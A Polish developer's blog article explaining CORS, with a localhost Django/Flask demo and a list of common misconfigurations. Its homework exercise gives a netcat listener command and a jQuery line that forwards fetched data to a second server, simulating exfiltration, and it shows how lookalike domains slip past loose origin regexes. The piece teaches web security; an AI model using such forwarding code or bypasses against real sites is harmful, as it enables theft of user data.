Of CORS it’s safe. Zabezpieczenie przed odczytem danych przez obcy serwer
Wyczerpujący opis opisywanego mechanizmu znajdziecie na sekuraku, a także w dokumentach konsorcjum W3 czy dokumentacji Mozilli. Sugeruję zapoznać się z nimi przed podjęciem decyzji o napisaniu własnej implementacji. Poniższy artykuł ma na celu pokazanie przykładowego użycia tego mechanizmu dla uzyskania ogólnego obrazu jego działania oraz dostarczenie gotowej aplikacji, z którą można łatwo poeksperymentować.
Wiktor Gonczaronek. Python Developer w Merixstudio. W swojej pracy (i pasji) szczególnie interesują go kwestie związane z bezpieczeństwem, które często wymagają zastosowania niekonwencjonalnych rozwiązań i kreatywnego kodowania. Aktywny członek programistycznej społeczności, który chętnie dzieli się wiedzą w ramach warsztatów, meetupów, for i grup internetowych oraz artykułów. W wolnym czasie lubi warzyć własne, craftowe piwo i “puścić dymka” na strzelnicy.
W celu zapewnienia izolacji środowisk aplikacji webowych, przeglądarki uniemożliwiają komunikowanie się różnym originom, o ile te nie dały na to przyzwolenia w sposób jawny. Czym jest origin? Zgodnie z RFC-6454 jest to zestaw wartości: schemat, host i port jednoznacznie definiujący daną aplikację webową, przy czym port może być podany niejawnie (np. dla HTTP będzie to domyślny port 80).
I tu uwaga: biblioteka django-cors-headers, z której korzystam w przykładzie w ustawieniu CORS_ORIGIN_WHITELIST wymaga podania tylko hosta i portu, co stwarza ryzyko prowadzenia komunikacji przez nieszyfrowany protokół http zamiast https. W chwili obecnej zgłosiłem Pull Requesta, który pozwala na podanie schematu, ale wymaga jeszcze dopracowania i zmergowania.
Kiedy aplikacja dostaje zapytanie z innego originu odsyła przeglądarce w specjalnych nagłówkach, m. in. Access-Control-Allow-Origin, informację o tym, czy może ona odczytać i przetworzyć otrzymane dane. W przypadku kiedy:
- metodą zapytania nie jest GET, HEAD, lub POST, lub
- nagłówki ustawiane ręcznie są spoza zakresu Accept, Accept-Language, Content-Language, Content-Type, DPR, Downlink, Save-Data, Viewport-Width, Width, lub
- Content-Type posiada wartość inną niż application/x-www-form-urlencoded, multipart/form-data, text/plain, lub
- obiekt typu ReadableStrem został użyty w zapytaniu, lub
- nasłuchujemy na zdarzenia na obiekcie XMLHttpRequestUpload,
mamy do czynienia z tzw. “nie tak prostymi zapytaniami”. Działają one nieco inaczej, ponieważ w pierwszej kolejności dochodzi do wykonania tzw. preflight request, które mówi przeglądarce, czy ta w ogóle może wykonać zapytanie główne. Zachęcam do modyfikacji przykładowej aplikacji tak, żeby wykonała takowe działania.
Zapytania proste działają następująco:
- Użytkownik chce załadować coś na stronie A, co wymaga dostępu do danych z originu B,
- Przeglądarka wysyła zapytanie do originu B dołączając nagłówek Origin, w którym podaje origin serwisu A,
- Serwer przetwarza żądanie i odsyła przeglądarce nagłówek Access-Control-Allow-Origin, z originami, którym ufa. Może to być konkretny origin (np. http://example.com/), lista originów, zaufanie do wszystkich przez podanie wartości “*”, null lub brak nagłówka. Przy czym wartość null może prowadzić do bardzo nieoczywistych problemów, o których jeszcze wspomnę. Dobrą praktyką jest nieużywanie tej wartości, chyba że z jakiegoś dziwnego powodu wiemy co robimy i jesteśmy pewni, że o to nam chodzi.
- Przeglądarka dostaje odpowiedź i podejmuje decyzję o tym, czy pozwolić użytkownikowi na dostęp do danych.
Spis treści
No dobrze, ale co mi to daje?
Po przeczytaniu powyższego uproszczonego opisu powinniśmy zauważyć, że CORS nie daje nam:
- ochrony przed atakami typu CSRF, bo żądanie jest przetworzone. Jeśli nie chcemy żeby ktoś zrobił nam nieautoryzowanego POST-a, to powinniśmy poszukać rozwiązania gdzie indziej. Swoją drogą, przykładowa aplikacja jest podatna na tego typu ataki. Polecam spróbować wykonać takie działanie.
- Ochrony przed odczytem danych przez klienta (w końcu nie jest to Cross Client Resource Sharing), bo przeglądarka otrzymuje dane, jedynie nie pozwala odczytać ich aplikacji. Wyciągnięcie zawartości odpowiedzi jest jednak trywialne.
CORS zabezpiecza nas przed odczytem danych przez obcy serwer. Czyli jeśli piszemy aplikację przetwarzającą wrażliwe dane, np. bankiem, który chce na innym endpoincie serwować frontend i backend i chcemy umożliwić odczyt danych tylko przez nasz frontend, to dodajemy jego origin do whitelisty. W tym momencie jeśli aplikacja byłaby podatna np. na atak typu XSS przez podanie zewnętrznego adresu skryptu, który mógłby się wykonać na stronie, to nie byłoby możliwe pobranie wrażliwych danych z backendu i odesłanie ich na zewnętrzny serwer atakującego.
Implementacja
W przykładzie (do pobrania tutaj) posłużymy się dwoma komunikującymi się aplikacjami:
- Django_app — będzie służyć jako serwis dostarczający dane nasłuchując na endpoincie http://localhost:8000/api/v1/albums/,
- Flask_app — będzie służyć jako frontend do wyświetlania danych, dostępny na endpoincie http://localhost:5000/.
Zgodnie z definicją origina dzielimy infrastrukturę na dwa elementy, które muszą się komunikować ze sobą. W pliku src/django_app/settings.py definiujemy listę originów, którym pozwalamy na odczyt danych:
CORS_ORIGIN_WHITELIST = ( 'localhost:5000', )
Uruchamiamy obie aplikacje i wyświetlamy dostępne dane (ważne: wchodzimy na adres http://localhost:5000/, a nie http://127.0.0.1:5000/ są to dwa różne originy):
A teraz możemy wykomentować dozwolony origin z backendu i powtórzyć działanie. Origin http://localhost:5000/ będzie funkcjonował w roli podstawionej złośliwej strony, która usiłuje wyciągnąć wrażliwe dane od nieświadomego użytkownika. Tym razem dane nie pojawią się, a w konsoli zostanie zalogowany następujący błąd:
(index):1 Access to XMLHttpRequest at 'http://localhost:8000/api/v1/albums/’ from origin 'http://localhost:5000′ has been blocked by CORS policy: No 'Access-Control-Allow-Origin’ header is present on the requested resource.
Co może pójść nie tak?
Tak jak wspominałem, CORS nie chroni przed atakami klasy CSRF. Dodatkowo, jeśli chcielibyśmy udostępnić dane wszystkim hostom w subdomenie, to moglibyśmy chcieć użyć do tego celu wyrażenia regularnego, np. pozwolić na komunikację originom pasującym do http://(.)*example.com. Atakujący mógłby zarejestrować domenę http://trololoexample.com, która pasowałaby do naszego wyrażenia.
Jeśli chcielibyśmy udostępnić dane dla jednej tylko domeny, ale na dowolnym porcie moglibyśmy pokusić się o następujące dopasowanie http://.example.com.*. Można zarejestrować domenę trololo.net i subdomenę http://example.com.trolololo.net, która także zostanie z sukcesem dopasowana do wyrażenia.
Możemy również użyć biblioteki o wadliwej implementacji (jak w przykładzie), która pozwoli na komunikację po HTTP, kiedy chcielibyśmy mieć HTTPS. Atak typu MITM mógłby zmodyfikować zawartość zaufanego origina, tak żeby zawierał on, np. dodatkową linijkę kodu wysyłającą dane dalej. Jako zadanie domowe polecam uruchomić poleceniem nc -l 127.0.0.1 5678 jeszcze jeden serwer nasłuchujący na dane i dopisać w skrypcie obsługującym odbieranie danych linijkę $.post(‘http://127.0.0.1:5678’, {‘data’: data}); odebrane z backendu dane zostaną wówczas przekazane dalej.
Poza tym, możemy chcieć nie udostępniać danych i w tym celu ustawić nagłówek Access-Controll-Allow-Origin: null, ale przeglądarka sama dopisze “Origin: null”, jeśli zostaniemy odpytani o zasób z pseudoschematu takiego jak file://. To spowoduje, że stwierdzi, że dwa originy pasują do siebie i pozwoli na odczyt danych.
Lista nie kończy się w tym miejscu. Mam jednak nadzieję, że udało mi się uświadomić Cię jak wiele może pójść nie tak i przekonać, że szczegóły implementacji powinny zostać skonsultowane ze specjalistą.
Zdjęcie główne artykułu pochodzi z unsplash.com.